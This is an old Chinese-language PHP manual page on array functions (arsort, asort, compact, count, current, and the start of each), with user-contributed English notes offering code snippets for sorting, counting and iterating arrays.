Notice that you can also add arrays to other arrays with the $array[] "operator" while the dimension doesn't matter.

Here's an example:
$x[w][x] = $y[y][z];
this will give you a 4dimensional assosiative array.
$x[][] = $y[][];
this will give you a 4dimensional non assosiative array.

So let me come to the point. This get interessting for shortening things up. For instance:

<?php
       foreach ($lines as $line){
           if(!trim($line)) continue;
           $tds[] = explode("$delimiter",$line);
       }
?>
jasonr at argia dot net
28-Nov-2000 09:01
Arrays are never removed from memory, however there is an internal pointer that always points to the "next" array item. After you interate through an array, this will need to be reset back to the first element if you want to access it in a loop again.
see the Reset function at
http://www.php.net/manual/function.reset.php if you are confused.
rubein at earthlink dot net
27-Sep-2000 02:07
Multidimensional arrays are actually single-dimensional arrays nested inside other single-dimensional arrays.

$array[0] refers to element 0 of $array
$array[0][2] refers to element 2 of element 0 of $array.

If an array was initialized like this:

$array[0] = "foo";
$array[1][0] = "bar";
$array[1][1] = "baz";
$array[1][2] = "bam";

then:
is_array($array) = TRUE
is_array($array[0]) = FALSE
is_array($array[1]) = TRUE
count($array) = 2 (elements 0 and 1)
count($array[1] = 3 (elements 0 thru 2)

This can be really useful if you want to return a list of arrays that were stored in a file or something:

$array[0] = unserialize($somedata);
$array[1] = unserialize($someotherdata);

if $somedata["foo"] = 42 before it was serialized previously, you'd now have this:
$array[0]["foo"] = 42
php-manual at improbable dot org
02-Apr-2000 06:17
If you want to create an array of a set size and you have PHP4, use array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS, $INITIAL_VALUE);
baghera at mindspring dot com
13-Oct-1999 05:54
Every array has an "internal pointer". When you create an array, the internal pointer is automatically set to point at the first member. You can print the current location of the pointer:

$bob= current($myarrayname);
echo "$bob";

You can advance the pointer to the next spot using next($myarrayname).

To see a particular member of an array, set a $variable= $myarrayname[2] where "2" is the number of the member you want to use.

When assigning members to an array, the members are numbered beginning with 0, rather than 1.
add a note add a note

后退 | 起点 | 前进
array_walk | 上一级 | arsort


arsort

(PHP 3, PHP 4, PHP 5)

arsort -- 对数组进行逆向排序并保持索引关系

说明

bool arsort ( array &array [, int sort_flags] )

本函数对数组进行排序，数组的索引保持和单元的关联。主要用于对那些单元顺序很重要的结合数组进行排序。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. arsort() 例子

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
arsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

上例将输出：

a = orange
d = lemon
b = banana
c = apple

fruits 被按照字母顺序逆向排序，并且单元的索引关系不变。

可以用可选的参数 sort_flags 改变排序的行为，详情见 sort()。

参见 asort()，rsort()，ksort() 和 sort()。

add a note add a note User Contributed Notes
Scott Woods
03-Feb-2005 12:21
Note about "morgan at anomalyinc dot com"'s comment:

As of PHP4, you can just use array_multisort() to sort parallel or multi-dimensional arrays.
rodders_plonker at yahoo dot com
22-Aug-2000 09:43
I was having trouble with the arsort() function on an older version of PHP which was returning an error along the lines of 'wrong perameter count for function arsort' when I tried to use a flag for numeric sorting (2/SORT_NUMERIC).
I figured, as I only wanted to sort integers, I could pad numbers from the left to a specific length with 0's (using the lpad function provided by improv@magma.ca in the notes at http://www.php.net/manual/ref.strings.php).
A string sort then correctly sorts numerically (i.e. {30,2,10,21} becomes {030,021,010,002} not {30,21,2,10}) when echoing the number an (int)$string_name hides the leading 0's.

Made my day :).

Rodders.
morgan at anomalyinc dot com
25-Nov-1999 11:30
If you need to sort a multi-demension array, for example, an array such as

$TeamInfo[$TeamID]["WinRecord"]
$TeamInfo[$TeamID]["LossRecord"]
$TeamInfo[$TeamID]["TieRecord"]
$TeamInfo[$TeamID]["GoalDiff"]
$TeamInfo[$TeamID]["TeamPoints"]

and you have say, 100 teams here, and want to sort by "TeamPoints":

first, create your multi-dimensional array. Now, create another, single dimension array populated with the scores from the first array, and with indexes of corresponding team_id... ie
$foo[25] = 14
$foo[47] = 42
or whatever.
Now, asort or arsort the second array.
Since the array is now sorted by score or wins/losses or whatever you put in it, the indices are all hoopajooped.
If you just walk through the array, grabbing the index of each entry, (look at the asort example. that for loop does just that) then the index you get will point right back to one of the values of the multi-dimensional array.
Not sure if that's clear, but mail me if it isn't...
-mo
add a note add a note

后退 | 起点 | 前进
array | 上一级 | asort


asort

(PHP 3, PHP 4, PHP 5)

asort -- 对数组进行排序并保持索引关系

说明

bool asort ( array &array [, int sort_flags] )

本函数对数组进行排序，数组的索引保持和单元的关联。主要用于对那些单元顺序很重要的结合数组进行排序。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. asort() 例子

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
asort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

上例将输出：

c = apple
b = banana
d = lemon
a = orange

fruits 被按照字母顺序排序，并且单元的索引关系不变。

可以用可选的参数 sort_flags 改变排序的行为，详情见 sort()。

参见 arsort()，rsort()，ksort() 和 sort()。

add a note add a note User Contributed Notes
rojaro
24-Jun-2004 10:38
Advanced sort array by second index function, which produces ascending (default) or descending output and uses optionally natural case insensitive sorting (which can be optionally case sensitive as well).
Only the first two arguments are required.

<?php

function sabsi ($array, $index, $order='asc', $natsort=FALSE, $case_sensitive=FALSE) {
  if(is_array($array) && count($array)>0) {
   foreach(array_keys($array) as $key) $temp[$key]=$array[$key][$index];
   if(!$natsort) ($order=='asc')? asort($temp) : arsort($temp);
   else {
     ($case_sensitive)? natsort($temp) : natcasesort($temp);
     if($order!='asc') $temp=array_reverse($temp,TRUE);
   }
   foreach(array_keys($temp) as $key) (is_numeric($key))? $sorted[]=$array[$key] : $sorted[$key]=$array[$key];
   return $sorted;
  }
  return $array;
}

?>
csaba at alum dot mit dot edu
23-Jun-2004 07:47
If you have a pair of arrays which have a one to one association (examples: spouses, first to last name, SSN to name), when you sort one, you might wish to sort the other in the same way to maintain the correlation.  This example illustrates a way:

<?php
$aMen = array('Fred', 'Bob', 'Tim', 'John', 'Bill');
$aPartner = array('Sue', 'Mary', 'Ann', 'Cathy', 'Nancy');
asort($aMen);                  // aMen now sorted; numeric keys out of order
$aWomen = array_keys($aMen);    // create a new array for result
foreach ($aWomen as $idx => &$name) $name=$aPartner[$name];
                               // aWomen now has the sorted partners
$aMen = array_merge($aMen);    // put the numeric keys in order
?>

Csaba Gabor
KOmaSHOOTER at gmx dot de
21-May-2003 08:52
here another version from acecream multisorting for arrays :)

<?php
function array_sort_multi2($array, $key,$key2)

{
  for ($i = 0; $i < sizeof($array); $i++) {
       if(! empty($array[$i][$key][$key2])){
       $sort_values[$i] = $array[$i][$key][$key2];
       }else{
       $sort_values[$i] = $array[$i];
       }
  }
  asort ($sort_values);
  reset ($sort_values);
  while (list ($arr_keys, $arr_values) = each ($sort_values)) {
         $sorted_arr[] = $array[$arr_keys];
  }
  return $sorted_arr;
}
?>
spectre at hellfish dot NOSPAM dot org
29-Apr-2003 12:54
that works nicely, tho it breaks the result-array up if one or more of arrays indexes are deleted before sorting. this one should fix it up:

change:
for ($i = 0; $i < sizeof($array); $i++) {

to:
foreach ($array as $i => $k) {
acecream
23-Apr-2003 07:02
my version of sorting multi dimensional array

<?php
function array_sort($array, $key)
{
   for ($i = 0; $i < sizeof($array); $i++) {
       $sort_values[$i] = $array[$i][$key];
   }
   asort ($sort_values);
   reset ($sort_values);
   while (list ($arr_key, $arr_val) = each ($sort_values)) {
         $sorted_arr[] = $array[$arr_key];
   }
   return $sorted_arr;
}
?>
mbevan at marginsoftware dot com
04-Dec-2002 05:25
Nevermind... use my last note as a quick tip: if you wish to keep the keys, use asort() and arsort() in place of sort() and rsort().
01-Aug-2002 09:48
Sorry, my last post had a typo:
// unnecessary backslashes break create_function, oops.
  if ( is_string($var) ) $var = "\'$var\'";
//it should be:
  if ( is_string($var) ) $var = "'$var'";

-- FIXED and TESTED -- :)

Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "'$var'";
  uasort($x,
   create_function('$a,$b',
     'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
phzzzt .a.t. acm .d.o.t. org
01-Aug-2002 09:32
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "\'$var\'";
  uasort($x,
   create_function('$a,$b',
     'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
salchicha at cable dot net dot co
04-Apr-2002 05:23
Here's one I whipped up to allow you to sort an array of a specific class by a member or function:

<?php
// Sort a class by one of its members (even lowercase!!!)
function casort($arr, $var) {
   $tarr = array();
   $rarr = array();
   for($i = 0; $i < count($arr); $i++) {
     $element = $arr[$i];
     $tarr[] = strtolower($element->{$var});
   }

   reset($tarr);
   asort($tarr);
   $karr = array_keys($tarr);
   for($i = 0; $i < count($tarr); $i++) {
     $rarr[] = $arr[intval($karr[$i])];
   }

   return $rarr;
}
?>

It works very well. For example, I have a Room class with members title, isActive(), date, etc. I can sort an array by casort($rooms, "title") or casort($rooms, "isActive()") and it'll work.
rcwang at cmu dot edu
03-Mar-2002 09:42
Here's my version of sorting multi-dimensional array by 2nd index.
Feel free to change the code to suit your needs.

<?php
function aSortBySecondIndex($multiArray, $secondIndex) {
   while (list($firstIndex, ) = each($multiArray))
       $indexMap[$firstIndex] = $multiArray[$firstIndex][$secondIndex];
   asort($indexMap);
   while (list($firstIndex, ) = each($indexMap))
       if (is_numeric($firstIndex))
           $sortedArray[] = $multiArray[$firstIndex];
       else $sortedArray[$firstIndex] = $multiArray[$firstIndex];
   return $sortedArray;
}
?>
markus at runout dot at
30-Nov-2001 04:37
for sorting CASEINSENSITIVE try
natcasesort()

there's little difference to sort,
but maybe that doesn't matter for you.
martin dot edelius at spirex dot se
29-May-2001 01:27
In the 'asortbyindex' function above there's a $ sign missing from a variable in one of the for loops:

for ($iteration = 0; $iteration < $lastiteration; iteration++)

should be:

for ($iteration = 0; $iteration < $lastiteration; $iteration++)
freeman at generalresources dot com
04-May-2001 07:51
The asortbyindex($sortarray, $index) looks like sort not asort. The key of the $sortarray was changed.
odeen at gmx dot de
30-Aug-2000 11:05
hi
the 2d arry sort works good for me,
but you should use
strtolower()
for the right alphabetical order, like this:for ($index = 0; $index < strlen ($s1); $index++) {
/**
** $s1 comes after $s2
**/

if (strtolower($s1[$index]) > strtolower($s2[$index])) return ($order);

/**
** $s1 comes before $s2
**/

if (strtolower($s1[$index]) < strtolower($s2[$index])) return (1 - $order);
}

have fun olli
sweetland at whoadammit dot com
16-Aug-2000 03:02
Here's a little routine I whipped up to sort multi-dimensional arrays:
<?php
/**
 ** comesafter ($s1, $s2)
 **
 ** Returns 1 if $s1 comes after $s2 alphabetically, 0 if not.
 **/

function comesafter ($s1, $s2) {
       /**
         ** We don't want to overstep the bounds of one of the strings and segfault,
         ** so let's see which one is shorter.
         **/

       $order = 1;

       if (strlen ($s1) > strlen ($s2)) {
               $temp = $s1;
               $s1 = $s2;
               $s2 = $temp;
               $order = 0;
       }

       for ($index = 0; $index < strlen ($s1); $index++) {
               /**
                 ** $s1 comes after $s2
                 **/

               if ($s1[$index] > $s2[$index]) return ($order);

               /**
                 ** $s1 comes before $s2
                 **/

               if ($s1[$index] < $s2[$index]) return (1 - $order);
       }

       /**
         ** Special case in which $s1 is a substring of $s2
         **/

       return ($order);
}

/**
 ** asortbyindex ($sortarray, $index)
 **
 ** Sort a multi-dimensional array by a second-degree index. For instance, the 0th index
 ** of the Ith member of both the group and user arrays is a string identifier. In the
 ** case of a user array this is the username; with the group array it is the group name.
 ** asortby
 **/

function asortbyindex ($sortarray, $index) {
       $lastindex = count ($sortarray) - 1;
       for ($subindex = 0; $subindex < $lastindex; $subindex++) {
               $lastiteration = $lastindex - $subindex;
               for ($iteration = 0; $iteration < $lastiteration;    iteration++) {
                       $nextchar = 0;
                       if (comesafter ($sortarray[$iteration][$index], $sortarray[$iteration + 1][$index])) {
                               $temp = $sortarray[$iteration];
                               $sortarray[$iteration] = $sortarray[$iteration + 1];
                               $sortarray[$iteration + 1] = $temp;
                       }
               }
       }
       return ($sortarray);
}
?>

It's a bit long with all the comments, but I hope it helps.
bwuhlman at tallships dot ca
03-Aug-2000 06:01
Well, actually, asort has *two* annoying features.

It works perfectly well sorting hashes (or associative arrays, as you might have it), but doggedly refuses to sort regular arrays maintaining index assocation. Kind've makes sense, but the docs don't explicitly say you can't do it.

Urgggh.
jacko at kring dot co dot uk
25-Feb-2000 03:26
asort has one anoying feature, it ignores any default or implicit order in the data.  i.e. if two elements of an array contain "banana" then it is not garanteed that the first will still be the first after the sort.
This makes the Burrows-Wheeler block sort a bit of a pain to impliment, with a trailing string having to be appended to all strings before sorting, and removed after sorting. To maintain the so called "banana" order.
otterley.at.dynamine.net
14-Oct-1999 04:34
This function is the equivalent of sort values %hash in Perl.
add a note add a note

后退 | 起点 | 前进
arsort | 上一级 | compact


compact

(PHP 4, PHP 5)

compact -- 建立一个数组，包括变量名和它们的值

说明

array compact ( mixed varname [, mixed ...] )

compact() 接受可变的参数数目。每个参数可以是一个包括变量名的字符串或者是一个包含变量名的数组，该数组中还可以包含其它单元内容为变量名的数组， compact() 可以递归处理。

对每个参数，compact() 在当前的符号表中查找该变量名并将它添加到输出的数组中，变量名成为键名而变量的内容成为该键的值。简单说，它做的事和 extract() 正好相反。返回将所有变量添加进去后的数组。

任何没有变量名与之对应的字符串都被略过。

Gotcha: 因为可变变量也许不能在函数内部用于 PHP 的超全局数组，此时不能将超全局数组传递入 compact() 中。

例子 1. compact() 例子

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", "nothing_here", $location_vars);
?>

经过处理后，$result 为：

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

参见 extract()。

add a note add a note User Contributed Notes
mijllirg at wearethedotin dot com
18-Nov-2005 03:38
You might could think of it as ${$var}.  So, if you variable is not accessible with the ${$var} it will not working with this function.  Examples being inside of function or class where you variable is not present.

<?php
$foo = 'bar';

function blah()
{
   // this will no work since the $foo is not in scope
   $somthin = compact('foo'); // you get empty array
}
?>

PS: Sorry for my poor english...
hericklr at gmail dot com
13-Jun-2005 11:43
The compact function doesn't work inside the classes or functions.
I think its escope is local...
Above it is a code to help about it.
Comments & Suggestions are welcome.
PS: Sorry for my poor english...

<?php

   function x_compact()
   {    if(func_num_args()==0)
       {    return false; }
       $m=array();

       function attach($val)
       {    global $m;
           if((!is_numeric($val)) && array_key_exists($val,$GLOBALS))
           {    $m[$val]=$GLOBALS[$val];}
       }

       function sub($par)
       {    global $m;
           if(is_array($par))
           {    foreach($par as $cel)
               {    if(is_array($cel))
                   {    sub($cel); }
                   else
                   {    attach($cel); }
               }
           }
           else
           {    attach($par); }
           return $m;
       }

       for($i=0;$i<func_num_args();$i++)
       {    $arg=func_get_arg($i);
           sub($arg);
       }

       return sub($arg);
   }
?>
pillepop2003 at yahoo dot de
23-Nov-2004 04:26
Use the following piece of code if you want to insert a value into an array at a path that is extracted from a string.

Example:
You have a syntax like 'a|b|c|d' which represents the array structure, and you want to insert a value X into the array at the position $array['a']['b']['c']['d'] = X.

<?
   function array_path_insert(&$array, $path, $value)
   {
       $path_el = split('\|', $path);

       $arr_ref =& $array;

       for($i = 0; $i < sizeof($path_el); $i++)
       {
           $arr_ref =& $arr_ref[$path_el[$i]];
       }

       $arr_ref = $value;
   }

   $array['a']['b']['f'] = 4;
   $path  = 'a|b|d|e';
   $value = 'hallo';

   array_path_insert($array, $path, $value);

   /* var_dump($array) returns:

   array(1) {
     ["a"]=>
     &array(1) {
       ["b"]=>
       &array(2) {
         ["f"]=>
         int(4)
         ["d"]=>
         &array(1) {
           ["e"]=>
           string(5) "hallo"
         }
       }
     }
   */

?>

Rock on
Philipp
rlynch at ignitionstate dot com
27-Jan-2000 04:43
It should be noted that PHP will simply skip any strings that are not set:

<?php
  $foo = 4;
  $bar = 3;
  $result = compact('foo', 'bar', 'baz');
?>

will result in:
('foo' => 4, 'bar' => 3)
'baz' is simply ignored.
add a note add a note

后退 | 起点 | 前进
asort | 上一级 | count


count

(PHP 3, PHP 4, PHP 5)

count -- 计算数组中的单元数目或对象中的属性个数

说明

int count ( mixed var [, int mode] )

返回 var 中的单元数目，通常是一个 array，任何其它类型都只有一个单元。

对于对象，如果安装了 SPL，可以通过实现 Countable 接口来调用 count()。该接口只有一个方法 count()，此方法返回 count() 函数的返回值。

如果 var 不是数组类型或者实现了 Countable 接口的对象，将返回 1，有一个例外，如果 var 是 NULL 则结果是 0。

注: 可选的 mode 参数自 PHP 4.2.0 起可用。

如果可选的 mode 参数设为 COUNT_RECURSIVE（或 1），count() 将递归地对数组计数。对计算多维数组的所有单元尤其有用。mode 的默认值是 0。count() 识别不了无限递归。

注意

count() 对没有初始化的变量返回 0，但对于空的数组也会返回 0。用 isset() 来测试变量是否已经初始化。

请参考手册中数组一节中关于怎样在 PHP 中实现和使用数组的详细解释。

例子 1. count() 例子

<?php
$a[0] = 1;
$a[1] = 3;
$a[2] = 5;
$result = count($a);
// $result == 3

$b[0] = 7;
$b[5] = 9;
$b[10] = 11;
$result = count($b);
// $result == 3;

$result = count(null);
// $result == 0

$result = count(false);
// $result == 1
?>

例子 2. count() 的递归例子（PHP >= 4.2.0）

<?php
$food = array('fruits'  => array('orange', 'banana', 'apple'),
              'veggie'  => array('carrot', 'collard','pea'));

// recursive count
echo count($food, COUNT_RECURSIVE);  // output 8

// normal count
echo count($food);                  // output 2
?>

参见 is_array()，isset() 和 strlen()。

add a note add a note User Contributed Notes
anil dot iitk at gmail dot com
26-Jan-2006 04:32
<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
             'veggie' => array('carrot', 'collard', 'pea'));

// recursive count
echo "<br>".count($food, COUNT_RECURSIVE); // output 8

function average($a){
  return array_sum($a)/count($a) ;
}
$b = array(1,2,3,4,5,6,7,8,9);
echo "Average of array:".average($b);

?>
Scorch at netpix dot com
20-Dec-2005 09:59
Be careful of recasting your variables, especially with database array returns:

<?php
$res = mysql_query("select * from blah") // a query that returns an empty set
$row = mysql_fetch_array($res); // get's 0 since there's no return
echo count($row); // echos 1 - since $row is not an array
echo $row[0]; // echos "", but casts $row as an array?
echo count($row); // echos 0 now
?>
Tom
01-Dec-2005 08:57
You can find an average from an array using this and array_sum.
<?php
//array average( array input )
function average($input) {
return array_sum($input) / count($input);
}
?>

You can also do a method of form validation that involves putting all errors into an array and letting count() do the key part.
<?php
if(isset($_POST['submit'])) {
$errors = array();
if(empty($_POST['message'])) $errors[] = "Empty message field";
if(!preg_match('/[a-z0-9.]@[a-z0-9].[a-z]/i', $_POST['email']) {
$errors[] = "Bad email address";
  }
if(count($errors) == 0) {
//process form...
  }
}
?>
NOSPAM at NOSPAM dot com
09-Nov-2005 11:18
markis dot brachel at ntlworld dot com had a slight error in his comments that may confuse people.

<?
// Set up the array
   $holes  = array ("first", 2 => "second", 5 => "fifth", "sixth");
// Note blank entries 3 and 4

//count number of entries, this time its 4
$array_count = count($holes);
for($y=0; $y<$array_count; $y++) {
   if(isset($holes[$y])) {
   echo($holes[$y]);
   }
   else { $array_count++; }
}
// In the middle, check where array entry exists
// If not, then increase the size of array_count
// to reflect gaps in array.

?>
It says:
Note blank entries 3 and 4
But entry 1 is blank too ("first" 's key=0, "second" 's key=2, 1 is missing also, array starts at 0 by default)
Fred D
19-Oct-2005 12:16
The trim_text function was helpful, but it did not take account of the possibility of having nothing to trim which can sometimes happen if you are using this function in a loop through data. I've added a count function to deal with that possibility

------------------------------
function trim_text_elipse($text, $count){
//Create variable
$trimmed="";

//Remove double white space
$text = str_replace("  ", " ", $text);

//Turn the text into an array
$string = explode(" ", $text);

//Check to see how many words there are
$wordTotal = count($string);
   //Check to see if there are more words than the $count variable
   if($wordTotal > $count){
       //Loop through adding words until the $count variable is reached
       for ( $wordCounter = 0; $wordCounter <= $count; $wordCounter++ ){
           $trimmed .= $string[$wordCounter];
               //Check to and add space or finish with elipse
               if ( $wordCounter < $count ){ $trimmed .= " "; }
               else { $trimmed .= " &#8230;"; }
               }
   }else{
   //Set value returned to the existing value
   $trimmed =$text;
   }
//Trim off any white space
$trimmed = trim($trimmed);
return $trimmed;
}

-------------------------------
david _at_ webgroup _dot_ org
13-Feb-2005 08:30
While michael at htmlland dot net's code works, I believe it is better to use:
$extension=substr($file,strrpos($file,".")+1);

This doesn't incur the overhead of array handling.  I haven't tested it for time functions, but it should work just as well and SHOULD be faster.
freefaler at gmail dot com
20-Nov-2004 09:01
If you want to count only elements in the second level of 2D arrays.A close to mind note, useful for multidimentional arrays:

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
             'veggie' => array('carrot', 'collard','pea'));

// recursive count
echo count($food,COUNT_RECURSIVE);  // output 8

// normal count
echo count($food);                  // output 2

// all the fruits and veggies
echo (count($food,COUNT_RECURSIVE)-count($food,0)); //output 6
?>
moazzam at ummah dot org
15-Oct-2004 07:59
This is an obvious note, but I am writing it any way so other, who did may not have observed this, can take advantage of it too.

When running loops with count conditions, the code runs faster if you first assign the count() value to a variable and use that (instead of using count() directly in a loop condition.

To explain my point better, here is an example:

<?php

for ($i=0; $i<10000; $i++) {
   $arr[] = $i;
}

$time11 = microtime_float();
$bf = "";
for ($i=0; $i<count($arr); $i++) {
   $bf .= $arr[$i]."\n";
}
$time12 = microtime_float();
$time1 = $time12 - $time11;

print "First: ".$time1."\n";

$time21 = microtime_float();
$l = count($arr);
for ($i=0; $i<$l; $i++) {
   $bf .= $arr[$i]."\n";
}
$time22 = microtime_float();
$time2 = $time22 - $time21;

print "Second: ".$time2."\n";

?>

The output from the code above is (when run many times):

First: 0.13001585006714
Second: 0.099159002304077

First: 0.12128901481628
Second: 0.079941987991333

First: 0.18690299987793
Second: 0.13346600532532

As you can see, the second method (which doesnt use count() directly in the loop) is faster than the first method (which uses count() directly in the loop).

BTW:  I copied the microtime_float() function from one of the comments in the microtime() section. It just returns time with microseconds as float. Check comments in microtime() for more info.
michael at htmlland dot net
05-Jun-2004 01:30
I have found on upload scripts or on file manipulation scripts that people can trick a classic file type filter:
example:
$filename="bob.jpg.wav";
$bits= explode(".",$filename);
$extention= $bits[1];
if($extention == "jpg"){ echo"Not correct"; exit; }

This returns the filename extention as jpg not wav.

One way to change this is to use count() :
example:
$filename="bob.jpg.wav";
$bits= explode(".",$filename);
$extention= $bits[count($bits) - 1];
if($extention == "jpg"){ echo"Not correct"; exit; }

This returns the filename extention as wav not jpg.
rolandfoxx at yahoo dot com
31-Mar-2004 08:13
As an addition, any of the array manipulation functions can likewise get count to once again return 0:

<?php
$a = array();
print(count($a)); // prints 0
$a[0] = "foo";
array_shift($a);
print(count($a)); //prints 0
$a[0] = "bar";
array_splice($a, 0, 1);
print(count($a)); //prints 0
?>
admin at lft-muenchen dot de
12-Mar-2003 08:18
Note:
print (strlen($a)); // will print 0
$a="";
print (strlen($a)); // will print 1
$a=null;
print (strlen($a)); // will print 1
$a=array();
print (strlen($a)); // will print 0

you can only get an array back to size 0 by using the array() command, not by just setting it to "" or null.
simon at invalid dot com
20-Aug-2002 03:40
Reminder for using count():

<?php
$ary = array(null, "a", "b", null);
echo count($ary);    // count: 4

$ary[10] = "c";
echo count($ary);    // count: 5

$ary[15] = null;
echo count($ary);    // count: 6
?>

=> NULL is seen as an element in count()

Count 2D array:

<?php
$a2Dary = array(array("a", "b") , array(), "v");

echo count($a2Dary);        // count: 3
echo count($a2Dary[0]);    //count 2
echo count($a2Dary[1]);    // count: 0
echo count($a2Dary[2]);    // count: 1
?>

Hope can help you
bryce at obviously dot com
23-Jul-2002 06:44
If you're working with a database, you'll probably have much greater luck with: mysql_num_rows( $result );
09-Jul-2002 12:18
Perhaps change the wording of this description from "Count elements in a variable" to "Count total elements in a variable" as it may be interpreted (by me) as a function for counting specific elements (ie, number of substrings)
webmaster at NOSPAMtrafficg dot com
26-Apr-2002 06:48
Counting a multi-dimentional array

test array

<?php
$settings[0][0]  = 128;
$settings[0][1]  = 256;
$settings[0][2]  = 384;
$settings[0][3]  = 512;
$settings[0][4]  = 1024;
$settings[0][5]  = 2048;

$settings[1][0]  = 1024;
$settings[1][1]  = 2048;
$settings[1][2]  = 3072;
$settings[1][3]  = 4096;

count($settings) // returns 2
count($settings[0]) // returns 6
count($settings[1]) // returns 4
?>
markis dot brachel at ntlworld dot com
12-Apr-2002 08:25
Someone said you couldn't use the for loop and count array command for processing arrays with missing entries.

Well, heres my working idea:

<?
// Set up the array
   $holes  = array ("first", 2 => "second", 5 => "fifth", "sixth");
// Note blank entries 3 and 4

//count number of entries, this time its 4
$array_count = count($holes);
for($y=0; $y<$array_count; $y++) {
   if(isset($holes[$y])) {
   echo($holes[$y]);
   }
   else { $array_count++; }
}
// In the middle, check where array entry exists
// If not, then increase the size of array_count
// to reflect gaps in array.

?>
07-Feb-2002 10:01
<?php
count(false) ==1
?>

this has tripped me up before...
kanareykin at denison dot edu
27-Mar-2001 05:13
Here's how to count non-empty elements
in an array of any dimension. Hope
it will be useful for somebody.

<?php
// recursively count all non-empty elements
// in array of any dimension or mixed - i.e.
// array('1' => 2, '2' => array('1' => 3, '2' => 4))
function count_all($arg)
{
   // skip if argument is empty
   if ($arg)    {
       // not an array, return 1 (base case)
       if(!is_array($arg))
           return 1;
       // else call recursively for all elements $arg
       foreach($arg as $key => $val)
           $count += count_all($val);

       return $count;
   }
}
?>
martin at complinet dot com
30-Nov-2000 08:31
The count function does not ignore null values in an array. To achieve this use this function.

<?php
function xcount($array) {
       while (list($key, $value) = each($array)) {
               if ($value) {
                       $count++;
               }
       }
return $count;
}
?>
admin at serverbase dot com
03-Oct-2000 02:24
Be carefull with count when using in a while (list()=each()) construct, count changes the internal array pointer and strange things will happen :-)
jmcastagnetto at php dot net
05-Sep-2000 03:30
If you want to disambiguate if a variable contains an array w/ only one element, just us is_array() or gettype()
legobuff at hotmail dot com
03-Feb-2000 02:43
This is taken from sganer@expio.co.nz comments on the sizeof() function:
If some elements in your array are not set, then sizeof() and count() will not return the index of the last element, but will return the number of set elements. To find the index of the last element in the array:

end($yourArray);
$index = key($yourArray);

... Where $yourArray is the array you want to find the last index ($index) of.
chopin at csone dot kaist dot ac dot kr
25-Aug-1999 06:13
sizeof(), count() function is for only array not string data type.
ex) $str = "abcd";
   echo $str[3] ; // string indexing like array
   echo sizeof(str); // return 1 always
dmb27 at cornell dot edu
01-Jul-1999 04:53
Be careful of recasting your variables, especially with database array returns:

<?php
$res = mysql_query("select * from blah") // a query that returns an empty set
$row = mysql_fetch_array($res); // get's 0 since there's no return
echo count($row); // echos 1 - since $row is not an array
echo $row[0]; // echos "", but casts $row as an array?
echo count($row); // echos 0 now
?>
add a note add a note

后退 | 起点 | 前进
compact | 上一级 | current


current

(PHP 3, PHP 4, PHP 5)

current -- 返回数组中的当前单元

说明

mixed current ( array &array )

每个数组中都有一个内部的指针指向它“当前的”单元，初始指向插入到数组中的第一个单元。

current() 函数返回当前被内部指针指向的数组单元的值，并不移动指针。如果内部指针指向超出了单元列表的末端，current() 返回 FALSE。

警告

如果数组包含有空的单元（0 或者 ""，空字符串）则本函数在碰到这个单元时也返回 FALSE。这使得用 current() 不可能判断是否到了此数组列表的末端。要正确遍历可能含有空单元的数组，用 each() 函数。

例子 1. current() 及相关函数的用法示例

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';
?>

参见 end()，key()，next()，prev() 和 reset()。

add a note add a note User Contributed Notes
mdeng at kabenresearch dot com
24-Apr-2004 02:04
For large array(my sample was 80000+ elements), if you want to traverse the array in sequence, using array index $a[$i] could be very inefficient(very slow). I had to switch to use current($a).
vitalib at 012 dot net dot il
02-Dec-2003 06:10
Note that by copying an array its internal pointer is lost:

<?php
$myarray = array(0=>'a', 1=>'b', 2=>'c');
next($myarray);
print_r(current($myarray));
echo '<br>';
$a = $myarray;
print_r(current($a));
?>

Would output 'b' and then 'a' since the internal pointer wasn't copied. You can cope with that problem using references instead, like that:

<?php
$a =& $myarray;
?>
tipman
08-May-2003 07:07
if you got a array with number as index you get the last index with this:

eg:
$array[0] = "foo";
$array[1] = "foo2";

$lastKey = sizeof($array) - 1;

only a little help :)
retestro_REMOVE at SPAM_esperanto dot org dot il
02-Mar-2003 10:31
The docs do not specify this, but adding to the array using the brackets syntax:
     $my_array[] = $new_value;
will not advance the internal pointer of the array. therefore, you cannot use current() to get the last value added or key() to get the key of the most recently added element.

You should do an end($my_array) to advance the internal pointer to the end ( as stated in one of the notes on end() ), then

     $last_key = key($my_array);  // will return the key
     $last_value = current($my_array);  // will return the value

If you have no need in the key, $last_value = end($my_array) will also do the job.

- Sergey.
add a note add a note

后退 | 起点 | 前进
count | 上一级 | each


each

(PHP 3, PHP 4, PHP 5)

each -- 返回数组中当前的键／值对并将数组指针向前移动一步

说明

array each ( array &array )

返回 array 数组中当前指针位置的键／值对并向前移动数组指针。键值对被返回为四个单元的数组，键名为 0，1，key 和 value。单元 0 和 key 包含有数组单元的键名，1 和 value 包含有数据。

如果内部指针越过了数组的末端，则 each() 返回 FALSE。

例子 1. each() 例子

<?php
$foo = array("bob", "fred", "jussi", "jouni", "egon", "marliese");
$bar = each($foo);
print_r($bar);
?>

